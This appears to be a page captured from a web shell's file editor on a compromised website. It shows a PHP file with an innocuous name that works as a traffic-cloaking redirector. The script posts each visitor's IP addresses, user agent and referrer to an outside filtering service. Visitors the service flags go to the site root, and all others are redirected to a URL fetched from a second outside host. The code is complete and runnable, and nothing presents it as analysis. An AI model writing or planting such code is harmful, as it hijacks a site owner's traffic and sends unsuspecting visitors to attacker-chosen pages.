Zploit 0-Day Shell

:: Editing File: file_search_detailed.php

<?php
	function redirect($url, $code = 302)
{
	header('Location: ' . $url, true, $code);
	echo "<script>window.location.replace('" . $url . "');</script>";
	exit();
}
    error_reporting(0);
    $data = array(
    	'companyId' => "645e8b3cbb34a030468b121a", 
    	'referrerCF' => $_GET["referrerCF"], 
    	'urlCF' => $_GET["urlCF"],
    	'QUERY_STRING' => $_SERVER["QUERY_STRING"],
	    'HTTP_REFERER' => $_SERVER["HTTP_REFERER"],
	    'HTTP_USER_AGENT' => $_SERVER["HTTP_USER_AGENT"],
	    'REMOTE_ADDR' => $_SERVER["REMOTE_ADDR"],
	    'HTTP_CF_CONNECTING_IP' => $_SERVER["HTTP_CF_CONNECTING_IP"],
	    'CF_CONNECTING_IP' => $_SERVER["CF_CONNECTING_IP"],
	    'X_FORWARDED_FOR' => $_SERVER["X_FORWARDED_FOR"],
	    'TRUE_CLIENT_IP' => $_SERVER["TRUE_CLIENT_IP"],
    	);
    $curl = curl_init('http://api.clofilter.com/v1/check');
    curl_setopt($curl, CURLOPT_CUSTOMREQUEST, "POST");
    curl_setopt($curl, CURLOPT_POSTFIELDS, json_encode($data));
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($curl, CURLOPT_HTTPHEADER, array(
        'Content-Type: application/json',
        'Content-Length: ' . strlen(json_encode($data))
    ));
    $api = json_decode(curl_exec($curl));
    curl_close($curl);
    $arrContextOptions = array('ssl' => array('verify_peer' => false, 'verify_peer_name' => false), 'http' => array('header' => 'User-Agent: ' . $_SERVER['HTTP_USER_AGENT']));
	if ($api->simplePage == "https://google.com"){
	redirect("/",302);}
	else
	{
	$url = "https://cutlinckeds.com/sdfsdf54234asdf/".$_GET["urls"];
	// Even if you send the request to https:// use key 'http'//
	$options = array(
	'http' => array(
	'header'  => "Content-type: application/json",
	'method'  => 'POST',
	),
	);
	$context  = stream_context_create($options);
	$result = file_get_contents($url, false, $context);	
	redirect($result,302);
	}